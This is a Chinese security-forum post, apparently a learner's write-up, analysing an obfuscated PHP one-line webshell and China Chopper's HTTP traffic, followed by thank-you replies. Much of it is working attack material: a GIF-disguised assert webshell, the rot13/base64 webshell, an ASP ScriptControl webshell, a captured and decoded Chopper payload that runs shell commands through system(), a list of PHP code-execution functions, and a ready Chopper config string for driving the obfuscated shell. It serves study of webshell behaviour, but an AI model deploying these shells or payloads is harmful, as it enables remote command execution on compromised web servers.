用户
搜索
  • TA的每日心情
    郁闷
    2018-7-9 08:53
  • 签到天数: 1 天

    连续签到: 1 天

    [LV.1]初来乍到

    i春秋-呆萌菜鸟

    Rank: 1

    2

    主题

    12

    帖子

    30

    魔法币
    收听
    0
    粉丝
    0
    注册时间
    2017-10-10
    发表于 2018-7-9 09:28:22 104592
    本帖最后由 joker1993 于 2018-7-10 09:47 编辑

    事件的起因是某CTF交流群中有网友咨询一个PHP一句话木马的菜刀链接方法,之前我对菜刀和PHP一句话马的机制和关系只是脑海中有个浅薄的概念,知道是如何传递参数,如何执行等,这次借机在网上查阅了一些PHP和中国菜刀的资料,最终想把本次的学习过程和结果记录下来,希望自己可以经常做这样自己喜欢的事情。

    网友提供的一句话木马如下:

    if($_REQUEST[hash]=="XXXXXXXXXXXXXXXXXXX"){   

    其中XXXXX是一个32位长度的HASH字符串。

    $c_1 =  base64_decode(str_rot13($_REQUEST[a]));
    $c_2 =  base64_decode(str_rot13($_REQUEST[b]));
    $c_1($c_2);
    ?>

    简单分析一句话木马:

    1. 一句话马接受3个参数(hash、c_1、c_2).
    2. c_1、c_2两个参数经过了str_rot13、和base64_decode解码。
    3. $c_1($c_2)为执行部分,$c_1传递一个具备执行命令功能的函数名,$c_2传递一个命令字符串。
      base64编码我之前就了解过,所以看到外层的base64_decode我并不陌生,str_rot13这个函数我第一次见到,百度搜索了一下了解到是一个对英文字母进行类似凯撒密码操作的函数,偏移长度13,刚刚好配合英文字母一共26个的特性,编码和解码都是使用同一个函数。

    脚本执行实践:

    我起初只了解过eval函数具备命令执行的功能,尝试将@eval作为c_1解码后的值传入,尝试执行一个echo语句看看反应,没想到报错eval函数未定义。上网上尝试找找相关文章,没有什么进展,我又试了下将printf作为c_1解码后的值传入,代码成功执行,虽然我不了解具体原因但是可以看得出有些函数可以执行,有些则不行。
    我在网上查找了到了一篇网友整理出的PHP代码执行函数,用其中的assert作为c_1解码后的值测试效果,虽然由于c_2的值不能作为assert函数的参数,但看得出逻辑上已经OK了,我再尝试对c_2的值进行编辑。
    这里找到了网上的一些资料,确认了效果之后尝试使用菜刀进行连接(失败了)

    菜刀连接尝试:

    按菜刀的逻辑应该是将c_2作为密码连接该shell,但是看得出来没这么简单,我没有找到关于菜刀是否支持对密码的参数值进行编码后传输的文章,也没有在界面上找到类似功能,所以想着通过burpsuite作为代理,对c_2参数进行自动化的encode传输,但是失败了,原因是自己太菜,没抓到请求,脑回路里还是有一些代理抓请求的思路的,但是当时被这个研究过程吸引住了,奇怪的就想着一定要抓到菜刀的包,最后就放弃了原有的问题,把思路放到新的方向上使用wireshark抓包分析菜刀的请求。

    wireshark抓包过程:

    1. 本地搭了个环境,随便写了个一句话shell。
    2. 尝试使用http && ip.dst_host = 192.168.XXX.XXX(本机IP)过滤,发现效果不太理想,很多包看不过来。
    3. 用其他机器再搭个环境,用同样的过滤就没那么乱了,抓到了一些TCP包,这部分没有去分析,我主要是想看HTTP部分。
    4. 打开菜刀虚拟终端功能,执行了cmd命令,将wireshark的包导出,整理。

    菜刀执行whoami命令http请求与响应:

    一句话木马内容如下:

    GIF89a
    <?php  $a = "a"."s"."s"."e"."r"."t";  $a($_POST[cc]);  ?>

    请求包头部如下:

    POST /upload-labs/upload/1juhua.php HTTP/1.1
    X-Forwarded-For: 199.1.88.29
    Referer:http://192.168.107.70
    Content-Type: application/x-www-form-urlencoded
    User-Agent: Mozilla/5.0 (Windows; Windows NT 5.1; en-US) Firefox/3.5.0
    Host: 192.168.107.70
    Content-Length: 546
    Cache-Control: no-cache

    请求包参数如下:

    cc=@eval(base64_decode($_POST[z0]));&z0=QGluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwiMCIpO0BzZXRfdGltZV9saW1pdCgwKTtAc2V0X21hZ2ljX3F1b3Rlc19ydW50aW1lKDApO2VjaG8oIi0%2BfCIpOzskcD1iYXNlNjRfZGVjb2RlKCRfUE9TVFsiejEiXSk7JHM9YmFzZTY0X2RlY29kZSgkX1BPU1RbInoyIl0pOyRkPWRpcm5hbWUoJF9TRVJWRVJbIlNDUklQVF9GSUxFTkFNRSJdKTskYz1zdWJzdHIoJGQsMCwxKT09Ii8iPyItYyAneyRzfSciOiIvYyB7JHN9Ijskcj0ieyRwfSB7JGN9IjtAc3lzdGVtKCRyLiIgMj4mMSIpOztlY2hvKCJ8PC0iKTtkaWUoKTs%3D&z1=Y21k&z2=Y2QgL2QgIkQ6XHBocFN0dWR5XFdXV1x1cGxvYWQtbGFic1x1cGxvYWRcIiZ3aG9hbWkmZWNobyBbU10mY2QmZWNobyBbRV0%3D

    响应包信息如下:

    GIF89a   

    Notice:  Use of undefined constant cc - assumed 'cc' in D:\phpStudy\WWW\upload-labs\upload\1juhua.php on line 2  

    ->|desktop-ntiou04\dong
    [S]
    D:\phpStudy\WWW\upload-labs\upload
    [E]
    |<-</pre>

    菜刀执行whoami命令请求分析:

    1.首先先将参数全部拆分开
    cc是shell的密码同时也是http请求的参数名,参数值是将z0的值解码后通过@eval函数执行。

    cc=@eval(base64_decode($_POST[z0]));

    z0=QGluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwiMCIpO0BzZXRfdGltZV9saW1pdCgwKTtAc2V0X21hZ2ljX3F1b3Rlc19ydW50aW1lKDApO2VjaG8oIi0%2BfCIpOzskcD1iYXNlNjRfZGVjb2RlKCRfUE9TVFsiejEiXSk7JHM9YmFzZTY0X2RlY29kZSgkX1BPU1RbInoyIl0pOyRkPWRpcm5hbWUoJF9TRVJWRVJbIlNDUklQVF9GSUxFTkFNRSJdKTskYz1zdWJzdHIoJGQsMCwxKT09Ii8iPyItYyAneyRzfSciOiIvYyB7JHN9Ijskcj0ieyRwfSB7JGN9IjtAc3lzdGVtKCRyLiIgMj4mMSIpOztlY2hvKCJ8PC0iKTtkaWUoKTs%3D
    z1=Y21k
    z2=Y2QgL2QgIkQ6XHBocFN0dWR5XFdXV1x1cGxvYWQtbGFic1x1cGxvYWRcIiZ3aG9hbWkmZWNobyBbU10mY2QmZWNobyBbRV0%3D

    2.再将z0、z1、z2的值base64_decode解码后查看详细内容:

    z0:
    @ini_set("display_errors","0");
    @set_time_limit(0);
    @set_magic_quotes_runtime(0);
    echo("->|");
    $p=base64_decode($_POST["z1"]);
    $s=base64_decode($_POST["z2"]);
    $d=dirname($_SERVER["SCRIPT_FILENAME"]);
    $c=substr($d,0,1)=="/"?"-c '{$s}'":"/c {$s}";
    $r="{$p} {$c}";
    @system($r." 2>&1");
    echo("|<-");
    die();
    z1:
    cmd
    z2:
    cd /d "D:\phpStudy\WWW\upload-labs\upload\"&whoami&echo [S]&cd&echo [E]

    3.分析函数执行过程:
    3.1将相关调试信息关闭,输出->作为格式化符号,将z1、z2的值解码后保存到$p、$s中。
    3.2获取shell文件的绝对路径保存到$d中。
    3.3通过判断绝对路径的第一位区分Linux和Windows系统,执行-c或/c+$s存储到$c中。
    3.4现在$c的值是‘/c cd /d "D:\phpStudy\WWW\upload-labs\upload\"&whoami&echo [S]&cd&echo [E]‘。
    3.5使用@system函数执行cmd+$c并将结果重定向,最后输出|<-作为格式化符号。

    最终的心得:

    自己遇到问题的时候总是会稀里糊涂衍生了更多问题,这可能是优点也可能是缺点,不过我觉得挺好的,将要解决的问题一条一条记录下来,一个一个慢慢解决,我想我以前的学习过程一味地急于求成,缺少了这种静下心的感觉。
    在这次学习过程中搜集了一下PHP代码执行函数,了解了$a($b)这种格式的一句话木马的使用,简单分析了一下菜刀执行cmd命令时的http请求,尝试了一下burpsuite和wireshark抓取http请求,过程也是蛮开心的,可能有些知识还要花些时间吸收下,不过我也知足了。

    附上搜集到的PHP代码执行函数:

    eval()、assert()、preg_replace()、create_function()、array_map()、call_user_func()、call_user_func_array(),array_filter,usort,uasort()
    参考文章:https://www.cnblogs.com/xiaozi/p/7834367.html
    这些函数我只是试了几个,感谢这位大神的整理吧。[/b][b]



    ### 后记

    文章更新后ichunqiu评论区小伙伴提示实际上解决最开始的小马连接问题并没有那么复杂,2016版本的中国菜刀可通过配置文件解决这个问题,感谢大佬善意的提醒。  
    我朝着大佬提供的方向继续看了下菜刀的目录,里面有一个说明文档(话说我之前都没注意过),文档里有一段内容如下:

    添加额外附加提交的数据,如ASP的新服务端是这样的:  
    <%  
    Set o = Server.CreateObject("ScriptControl")  
    o.language = "vbscript"  
    o.addcode(Request("SC"))  
    o.run "ff",Server,Response,Request,Application,Session,Error  
    %>  
    那么,菜刀在配置处填入:  
    <o>SC=function+ff(Server,Response,Request,Application,Session,Error):eval(request("pass")):end+function</o>  
    然后以密码pass来连接即可.

    话说我看不太懂ASP的代码,不过根据上下文基本了解到菜刀配置文件可以通过大写欧‘O’标签,添加额外提交的数据,根据我们前文提到的菜刀命令执行的逻辑,实际上是将密码作为参数名,而参数值固定为@eval(base64_decode($_POST[z0]));。这样的话我们不是就可以通过传递参数:

    hash=xxxxx  
    a=str_rot13(base64_encode('assert'))  
    b=str_rot13(base64_encode'@eval(base64_decode($_POST[z0]));')

    来配合我们的菜刀使用这款一句话木马了么。

    最终的配置文档如下:

    <O>hash=1&a=LKAmMKW0&b=DTI2LJjbLzSmMGL0K2EyL29xMFtxK1OCH1EorwOqXFx7</O>

    至此我们也完成了最初的需求。再次感谢评论区大佬的提示。也欢迎小伙伴们评论区留言交流。

    16版的菜刀可以直接在配置文件里找的 不用再抓包
    使用道具 举报 回复
    尾行者i 发表于 2018-7-10 00:52
    16版的菜刀可以直接在配置文件里找的 不用再抓包

    感谢大佬提示
    使用道具 举报 回复
    感谢分享
    使用道具 举报 回复
    感谢分享
    使用道具 举报 回复
    感谢分享
    使用道具 举报 回复
    感谢分享
    使用道具 举报 回复
    感谢分享
    使用道具 举报 回复
    感谢分享
    使用道具 举报 回复
    感谢分享
    使用道具 举报 回复
    感谢分享
    使用道具 举报 回复
    发新帖
    您需要登录后才可以回帖 登录 | 立即注册